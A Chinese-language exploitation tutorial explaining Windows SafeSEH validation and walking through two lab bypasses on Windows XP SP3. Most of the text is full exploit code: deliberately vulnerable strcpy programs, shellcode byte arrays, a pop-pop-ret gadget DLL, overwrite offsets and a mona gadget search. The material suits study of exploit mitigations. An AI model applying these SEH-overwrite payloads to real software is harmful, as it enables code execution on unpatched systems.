SafeSEH是针对SEH异常处理的保护机制
SafeSEH异常保护原理
在Windows XP SP2版本之后微软引入了SafeSEH
在程序调用异常处理函数前,对要调用的异常处理函数进行一系列有效性校验,当发现异常处理函数不可靠时,将终止异常处理函数的调用
SafeSEH需要操作系统和编译器的双重支持:
编译器通过启动/SafeSEH链接选项开启编译程序具备SafeSEH功能(编译选项在VS2003之后默认开启)启用后,编译器在编译程序时将所有异常处理函数地址提取出来,编入一张SEH表里,并将这张表存到程序里,当程序调用异常处理函数时,与表中函数进行匹配,检查调用的函数是否位于表中
操作系统调用RtlDispatchException()进行检测:
- 如果异常处理链不在当前程序的栈中,则终止异常处理调用
- 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用
- 如果前两项检查通过后(SEH的链在栈中,函数不在),则调用RtlIsValidHandler()进行异常处理有效性检查
RtlIsValidHandler()会判断异常处理函数地址是不是在加载模块的内存空间
如果属于加载模块的内存空间,校验函数将进行如下判断:
- 判断程序是否设置了IMAGE_DLLCHARACTERISTICS_NO_SEH,如果设置了,异常会被忽略,函数返回校验失败
- 检测程序是否包含SEH表,如果包含,则将异常处理函数地址与该表进行匹配,匹配成功返回校验成功,否则返回校验失败
- 判断程序是否设置了ILonly标识,如果设置了,说明程序只包含.NET中间语言,直接返回校验失败
- 判断异常处理函数地址是否位于不可执行页,如果位于,就检测DEP是否开启,如果未开启则返回校验成功,开启了则抛出访问违例异常(0xC0000005)
如果不属于加载模块的内存空间,校验函数直接进行DEP相关检测:
- 判断异常处理函数地址是否位于不可执行页,如果位于,就检测DEP是否开启,如果未开启则返回校验成功,开启了则抛出访问违例异常(0xC0000005)
- 判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功,否则返回校验失败
校验流程如下:
有3条路可以让验证通过,从正面突破可能性不大,可以考虑图中的下面两条路
突破SafeSEH的方法:
- 不攻击SEH:
- 攻击返回地址:如果启动了SafeSEH,攻击的函数没有GS保护,则直接栈溢出攻击返回地址即可
- 攻击虚函数:攻击虚函数表劫持程序不涉及SEH流程,所以不会被SafeSEH影响
- 利用未启用SafeSEH的模块绕过SafeSEH
- 利用加载模块之外的地址绕过SafeSEH
利用未启用SafeSEH的模块绕过SageSEH
实验环境:WindowsXP SP3 + VS2008 + VC++6.0 + Release版本+禁用优化
实验代码:
DLL:VC++6.0编译,将基址设置为0x11120000(图方便,防止pop pop ret指令地址存在0x00)
#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
如果要用VS2008编译不开启SafeSEH的模块则需要在项目设置,链接器,命令行里输入:
/SAFESEH:NO
即可
exe:VS2008编译
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00";
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
VC++6.0编译出来的程序没有SafeSEH机制,可以这么得到一个未启用SafeSEH的模块
漏洞程序功能是加载一个模块,然后经过一个经典栈溢出后,发生除零异常
因为模块未开启SafeSEH,所以可以使用这个模块中的指令作为跳板来绕过SafeSEH,首先需要找到一个跳板指令:我们在dll里自己添加的跳板指令,位于0x11121012
接下来执行程序到发生异常,计算溢出字符串离最近SEH的距离:
中间隔了24个字节,再加上SEH链首4字节,一共28字节,然后拼上跳板地址,即可跳出
这里使用try和except语句块来接收异常,就出现了个小细节:
在进入try语句块前后,会对ebp-4这个位置的值进行修改
所以如果shellcode填充到了这个位置上,则会导致执行失败,所以shellcode关键代码要填充在后头
于是这里shellcode把填充代码0x90放在前面了,当执行到除零异常的时候,异常处理程序会跳到我们指定的位置上去:
进入异常处理函数之后,栈里的东西依次是我们用来覆盖异常函数指针的跳板地址(是个调用call过来的返回地址),和进入try块被赋值0的地址,然后就是SEH结构地址,通过pop,pop,ret跳转到SEH结构地址进行执行shellcode:
这里的能够不触发SafeSEH的原因是异常处理函数地址位于模块外,且位于可执行页上,并且允许加载模块内存外执行,所以SafeSEH就会验证通过
如果编译的模块启用了SafeSEH,则在调试器下,除零异常不会进入异常处理函数,而会在发生异常的地方反复抛出异常,如果编译的模块没启用SafeSEH,则可以执行到异常处理函数里
利用加载模块之外的地址绕过SafeSEH
在内存布局里,类型为map映射类型的内存不受SafeSEH管控,不会进行有效性验证,所以从这里找跳板指令来构造shellcode也可以
跳板指令除了前面用过的pop pop ret
之外,还有其他的,《0day安全》第二版上有举例,只要找到一条就可以绕开SafeSEH了
实验环境:Windows XP SP3 + VS2008 + Release编译 + 禁用优化 + DEP关闭
实验代码:
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x68\x79\x20\x20\x68\x73\x65\x6C\x70\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;
char shellcode2[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x00";
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
//__asm int 3
test(shellcode);
return 0;
}
代码逻辑和上例一样,只是不加载模块了
接下来搜索可用跳转指令,通过Immunitydebug的mona插件可以搜索到可用跳转,从而配合跳转构造shellcode执行
mona搜索指令:!mona jseh
得到的结果:
Log data, item 4
Address=00280B0B
Message=Found CALL DWORD PTR SS:[EBP+30] at 0x00280b0b - Access: (PAGE_READONLY) - Outside of a loaded module
位于0x00280B0B有一个CALL指令可以用(这里主要是为了实验找map内存区域的跳转指令用,所以实验环境关闭了DEP,因此只读页也可以执行)
接下来使用正常的0x90的shellcode去调试,查看shellcode的信息:
shellcode的起始地址是0x12FE88,shellcode需要再增长28+4个字节填充后添加4字节的跳转地址即可覆盖到SEH,跳转地址是0x00280B0B
先挂调试器执行,手动修改SEH函数,跑到跳转这一行看看栈的情况:
会跳转到0x12FF60这个位置执行
这个位置下面就是异常函数指针,是不能变的,所以要跳转到前面的shellcode首地址,需要先进行小于4字节指令小跳转衔接大跳转来进行,所以构造shellcode跳转:
大跳转跳转到shellcode首地址,然后shellcode顺利执行:
总结
SafeSEH是对SEH机制的保护,不合法的SEH处理函数不能被执行
但是SafeSEH的保护是有限的,本章介绍了两种绕过SafeSEH保护的方式:跳转到未开启SafeSEH保护的模块去跳转执行shellcode,跳转到MAP类型内存区域去跳转执行shellcode
参考资料
- 《0day安全》第二版
- 《漏洞分析与利用》网课
- Immunity Debugger中安装mona_ 唐风的风-CSDN博客